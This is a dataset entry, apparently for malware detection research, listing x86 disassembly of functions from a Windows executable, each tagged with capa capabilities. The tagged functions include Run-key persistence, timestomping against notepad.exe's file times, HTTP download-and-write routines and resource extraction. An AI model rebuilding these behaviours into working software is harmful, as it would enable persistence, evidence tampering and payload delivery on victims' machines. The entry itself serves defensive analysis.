joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401420
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call fcn.0042105a
push eax
call fcn.00420f26
add esp, 8
push ebx
push esi
mov dword [ebp - 4], 0x443be8
push edi
mov edi, edi
push 0
call fcn.0042105a
push eax
call fcn.00420f26
add esp, 8
mov ebx, 0x443be4
mov edi, 0x443bc8
lea ebx, [ebx]
mov eax, dword [ebx]
push eax
call fcn.00420fe0
add esp, 4
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401470
sub eax, edx
mov edx, eax
mov eax, dword [edi]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401480
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041fc44
mov edx, dword [edi]
add esp, 4
mov esi, eax
mov eax, dword [ebx]
push edx
push eax
call fcn.00420fe0
add esp, 4
push eax
push 0x43c3ac
push esi
call fcn.00420e97
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40154b
push esi
call fcn.00420f1b
add edi, 4
add esp, 4
cmp edi, 0x443be4
jl 0x401460
add ebx, 4
cmp ebx, 0x443be8
jl 0x401455
call fcn.00420f38
mov ecx, dword [0x443be4]
push ecx
call fcn.00420fe0
add esp, 4
mov ebx, eax
call fcn.00420f38
cdq
mov ecx, 7
idiv ecx
mov eax, ebx
mov edi, dword [edx*4 + 0x443bc8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401516
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401526
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041fc44
push edi
push ebx
mov esi, eax
push 0x43c3ac
push esi
call fcn.00420e97
add esp, 0x14
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401550
mov ebx, dword [ebp - 4]
sub eax, edx
mov edx, eax
mov eax, dword [ebx]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401563
sub eax, edi
lea eax, [eax + edx + 8]
push eax
call fcn.0041fc44
mov ecx, dword [ebx]
push ecx
push esi
mov edi, eax
push 0x43c3ac
push edi
call fcn.00420e97
push esi
call fcn.00420f1b
add esp, 0x18
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401624
push edi
call fcn.00420f1b
add ebx, 4
add esp, 4
mov dword [ebp - 4], ebx
cmp ebx, 0x443c08
jl 0x401440
call fcn.00401300
mov edi, eax
call fcn.00420f38
and eax, 0x80000007
jns 0x4015d2
dec eax
or eax, 0xfffffff8
inc eax
mov ebx, dword [eax*4 + 0x443be8]
mov eax, edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015e0
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015f0
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041fc44
push ebx
push edi
mov esi, eax
push 0x43c3ac
push esi
call fcn.00420e97
push edi
call fcn.00420f1b
add esp, 0x18
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401630
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call fcn.0042105a
push eax
call fcn.00420f26
add esp, 8
push ebx
push esi
mov dword [ebp - 4], 0x443bac
push edi
mov edi, edi
push 0
call fcn.0042105a
push eax
call fcn.00420f26
add esp, 8
mov ebx, 0x443be4
mov edi, 0x443bc8
lea ebx, [ebx]
mov eax, dword [ebx]
push eax
call fcn.00420fe0
add esp, 4
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401680
sub eax, edx
mov edx, eax
mov eax, dword [edi]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401690
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041fc44
mov edx, dword [edi]
add esp, 4
mov esi, eax
mov eax, dword [ebx]
push edx
push eax
call fcn.00420fe0
add esp, 4
push eax
push 0x43c3ac
push esi
call fcn.00420e97
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40175b
push esi
call fcn.00420f1b
add edi, 4
add esp, 4
cmp edi, 0x443be4
jl 0x401670
add ebx, 4
cmp ebx, 0x443be8
jl 0x401665
call fcn.00420f38
mov ecx, dword [0x443be4]
push ecx
call fcn.00420fe0
add esp, 4
mov ebx, eax
call fcn.00420f38
cdq
mov ecx, 7
idiv ecx
mov eax, ebx
mov edi, dword [edx*4 + 0x443bc8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401726
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401736
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041fc44
push edi
push ebx
mov esi, eax
push 0x43c3ac
push esi
call fcn.00420e97
add esp, 0x14
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401760
mov ebx, dword [ebp - 4]
sub eax, edx
mov edx, eax
mov eax, dword [ebx]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401773
sub eax, edi
lea eax, [eax + edx + 8]
push eax
call fcn.0041fc44
mov ecx, dword [ebx]
push ecx
push esi
mov edi, eax
push 0x43c3ac
push edi
call fcn.00420e97
add esp, 0x14
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401834
push esi
call fcn.00420f1b
push edi
call fcn.00420f1b
add ebx, 4
add esp, 8
mov dword [ebp - 4], ebx
cmp ebx, 0x443bc8
jl 0x401650
call fcn.00401300
mov edi, eax
call fcn.00420f38
cdq
mov ecx, 7
idiv ecx
mov eax, edi
mov ebx, dword [edx*4 + 0x443bac]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4017f0
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401800
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041fc44
push ebx
push edi
mov esi, eax
push 0x43c3ac
push esi
call fcn.00420e97
push edi
call fcn.00420f1b
add esp, 0x18
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401840
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
call fcn.0042105a
push eax
call fcn.00420f26
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 8
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
call edi
mov eax, dword [ebp - 4]
test eax, eax
je 0x4018a4
mov ecx, dword [esi*4 + 0x443b8c]
push 0
push 0
push 0
push 0
push ecx
push eax
call ebx
test eax, eax
je 0x4018c9
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
cmp esi, 8
jl 0x401865
call fcn.00420f38
and eax, 0x80000007
jns 0x4018bb
dec eax
or eax, 0xfffffff8
inc eax
mov eax, dword [eax*4 + 0x443b8c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi*4 + 0x443b8c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4020d0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x43c440
push eax
xor bl, bl
call fcn.00421a79
mov esi, eax
add esp, 8
test esi, esi
je 0x40214f
mov ecx, dword [ebp + 8]
push edi
push 0x43c444
push ecx
call fcn.00421a79
mov edi, eax
add esp, 8
test edi, edi
je 0x402145
push esi
call fcn.004211a7
add esp, 4
test eax, eax
jne 0x40213a
push esi
push 1
lea edx, [ebp - 1]
push 1
push edx
call fcn.00421dd0
push edi
push 1
lea eax, [ebp - 1]
push 1
push eax
call fcn.00421fb9
push esi
call fcn.004211a7
add esp, 0x24
test eax, eax
je 0x402111
push edi
mov bl, 1
call fcn.0042239f
add esp, 4
push esi
call fcn.0042239f
add esp, 4
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402160
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push str.SYSTEMROOT
mov dword [ebp - 0x98], eax
call fcn.00420fe0
add esp, 4
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402190
sub eax, edx
add eax, 0x20
push eax
call fcn.0041fc44
push str.SYSTEMROOT
mov edi, eax
call fcn.00420fe0
push eax
push str._s_notepad.exe
push edi
call fcn.00420e97
mov ebx, dword [sym.imp.KERNEL32.dll_OpenFile]
add esp, 0x14
push 0
lea ecx, [ebp - 0x94]
push ecx
push edi
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x402221
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x98]
push 2
lea eax, [ebp - 0x94]
push eax
push ecx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x402221
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00420f1b
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420799
mov esp, ebp
pop ebp
ret
Function at 0x402d50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436e48
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov edi, ecx
cmp ebx, 0xffffffff
jne 0x402d8c
xor eax, eax
jmp 0x402f11
mov eax, dword [edi + 0x24]
mov ecx, dword [eax]
test ecx, ecx
je 0x402db5
mov eax, dword [edi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x402db5
dec dword [eax]
mov edi, dword [edi + 0x24]
mov eax, dword [edi]
lea ecx, [eax + 1]
mov dword [edi], ecx
mov byte [eax], bl
mov eax, ebx
jmp 0x402f11
cmp dword [edi + 0x54], 0
je 0x402f0e
mov ecx, dword [edi + 0x10]
lea edx, [edi + 0x48]
cmp dword [ecx], edx
jne 0x402ddd
mov edx, dword [edi + 0x3c]
mov eax, dword [edi + 0x40]
mov dword [ecx], edx
mov ecx, dword [edi + 0x20]
mov dword [ecx], eax
mov edx, dword [edi + 0x30]
sub eax, eax
mov dword [edx], eax
cmp dword [edi + 0x44], 0
jne 0x402e03
mov edi, dword [edi + 0x54]
movsx eax, bl
push edi
push eax
call fcn.004210ab
add esp, 8
cmp eax, 0xffffffff
je 0x402f0e
mov eax, ebx
jmp 0x402f11
lea esi, [ebp - 0x2c]
mov byte [ebp - 0x2d], bl
call fcn.00403690
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
jmp 0x402e20
mov edx, eax
cmp ebx, 0x10
jae 0x402e2c
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x34]
push ebx
push edx
push eax
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x2c]
push eax
lea edx, [ebp - 0x2d]
push edx
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x14]
call eax
test eax, eax
js 0x402f06
cmp eax, 1
jg 0x402ec0
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x402e6c
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x34]
sub esi, ecx
je 0x402e95
cmp ebx, 0x10
jae 0x402e7b
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00421fb9
add esp, 0x10
cmp esi, eax
jne 0x402f06
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x2d]
mov byte [edi + 0x49], 1
cmp dword [ebp - 0x38], edx
jne 0x402ef9
test esi, esi
jne 0x402e20
cmp dword [ebp - 0x1c], 0x20
jae 0x402f06
push esi
lea ebx, [esi + 8]
lea esi, [ebp - 0x2c]
call fcn.004036f0
jmp 0x402e15
cmp eax, 3
jne 0x402f06
mov edi, dword [edi + 0x54]
movsx eax, byte [ebp - 0x2d]
push edi
push eax
call fcn.004210ab
add esp, 8
cmp eax, 0xffffffff
je 0x402eea
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
call fcn.004024a0
mov eax, esi
jmp 0x402f11
lea ecx, [ebp - 0x2c]
or esi, 0xffffffff
call fcn.004024a0
mov eax, esi
jmp 0x402f11
lea ecx, [ebp - 0x2c]
call fcn.004024a0
mov eax, dword [ebp + 8]
jmp 0x402f11
lea ecx, [ebp - 0x2c]
call fcn.004024a0
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420799
mov esp, ebp
pop ebp
ret 4
Function at 0x403b50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436eb8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x403ce1
cmp byte [ebx + 0x49], 0
je 0x403ce1
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x403cd5
lea esi, [ebp - 0x2c]
call fcn.00403690
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x403bc3
lea edx, [ebp - 0x2c]
mov eax, edx
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x1c]
add edi, edx
push edi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x403bfc
dec eax
je 0x403c00
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x403cdc
call fcn.004024a0
xor al, al
jmp 0x403ce3
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x403c10
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x403c3d
cmp edi, 0x10
jae 0x403c1f
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00421fb9
add esp, 0x10
cmp esi, eax
jne 0x403ccd
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x403cd9
test esi, esi
jne 0x403bb7
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x403cfe
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x403cfe
cmp edi, esi
jae 0x403cb6
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00404030
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x403bb7
mov ecx, eax
cmp edi, 0x10
jae 0x403c92
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x403cad
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x403bb1
test esi, esi
jne 0x403c88
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x403cc5
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x403bb1
lea ecx, [ebp - 0x2c]
call fcn.004024a0
xor al, al
jmp 0x403ce3
lea ecx, [ebp - 0x2c]
call fcn.004024a0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420799
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.0041fb89
int3
Function at 0x403f00
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436deb
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x440480]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00420368
push 4
mov dword [ebp - 4], 0
call fcn.00420e17
mov edi, eax
add esp, 4
test edi, edi
je 0x403f7c
call fcn.00420240
mov dword [edi], eax
call fcn.0041ffff
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00420329
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x403f72
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.00420351
jmp 0x403f7e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4045d0
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436e7b
mov eax, dword fs:[0]
push eax
sub esp, 0x41c
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push esi
lea eax, [ebp - 0x424]
push eax
mov edi, ecx
mov ebx, edx
mov dword [ebp - 0x424], esi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x4047c3
cmp byte [0x443b44], 0
mov dword [ebp - 0x414], esi
jne 0x40463b
call fcn.00401040
mov byte [0x443b44], 1
mov ecx, dword [0x443b7c]
mov eax, dword [ecx + 0x8c]
push esi
push esi
push esi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x428], esi
test esi, esi
je 0x4047bd
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x4047b6
push 1
push 0x400000
push 0
push 0
push 0
push ebx
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x4047af
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4047a8
push 1
call fcn.00422443
mov esi, eax
xor eax, eax
add esp, 4
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x41c], eax
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], eax
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x404786
mov edi, dword [ebp - 0x414]
test edi, edi
je 0x404742
lea ecx, [ebp - 0x410]
push ecx
lea esi, [ebp - 0x420]
mov byte [ebp + edi - 0x410], 0
call fcn.00405300
lea edx, [ebp - 0x414]
push edx
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x404700
mov eax, dword [ebp - 0x41c]
test eax, eax
jle 0x40477a
inc eax
push eax
call fcn.0041fc44
mov esi, dword [ebp - 0x420]
mov edx, eax
add esp, 4
mov dword [ebp - 0x414], edx
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404768
mov edi, dword [ebp - 0x418]
jmp 0x404799
mov esi, dword [ebp - 0x420]
mov edi, dword [ebp - 0x418]
push 8
call fcn.0041fc44
add esp, 4
mov dword [ebp - 0x414], eax
mov byte [eax], 0
push esi
call fcn.004211f7
mov esi, dword [ebp - 0x428]
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420799
mov esp, ebp
pop ebp
ret
Function at 0x4047e0
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
lea ecx, [ebp - 0x414]
push ecx
mov dword [ebp - 0x408], eax
mov ebx, edx
mov dword [ebp - 0x414], edi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x40482e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00420799
mov esp, ebp
pop ebp
ret
push ebx
mov dword [ebp - 0x40c], edi
call fcn.00422413
add esp, 4
cmp byte [0x443b44], 0
jne 0x404852
call fcn.00401040
mov byte [0x443b44], 1
mov edx, dword [0x443b7c]
mov eax, dword [edx + 0x8c]
push edi
push edi
push edi
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x40496b
push 1
push 0
push 3
push 0
push 0
push 0x50
push esi
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x410], esi
test esi, esi
je 0x404964
mov eax, dword [ebp - 0x408]
push 1
push 0x400000
push 0
push 0
push 0
push eax
push 0x43c5ac
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
je 0x404957
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x404950
push 0x43c444
push ebx
mov dword [ebp - 0x40c], 1
call fcn.00421a79
mov esi, eax
add esp, 8
test esi, esi
je 0x40494a
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, edi
lea ecx, [ebp - 0x408]
push ecx
push 0x3ff
lea edx, [ebp - 0x404]
push edx
push edi
call ebx
test eax, eax
je 0x404941
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x404941
push esi
push eax
mov byte [ebp + eax - 0x404], 0
lea eax, [ebp - 0x404]
push 1
push eax
call fcn.00421fb9
add esp, 0x10
jmp 0x404900
push esi
call fcn.0042239f
add esp, 4
mov esi, dword [ebp - 0x410]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x418]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x40c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420799
mov esp, ebp
pop ebp
ret
Function at 0x404df0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0x22
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x404e10
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push 3
push 1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x404e3f
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x404e3f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
jne 0x404e4e
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [ebx + 4]
push edi
push esi
call fcn.0041fc44
add esp, 4
mov edi, eax
test esi, esi
je 0x404e74
mov ecx, dword [ebp - 4]
sub ecx, edi
mov edx, esi
mov bl, byte [ecx + eax]
mov byte [eax], bl
inc eax
dec edx
jne 0x404e68
mov ebx, dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [ebp + 8]
mov eax, edi
pop edi
pop ebx
mov dword [edx], esi
pop esi
mov esp, ebp
pop ebp
ret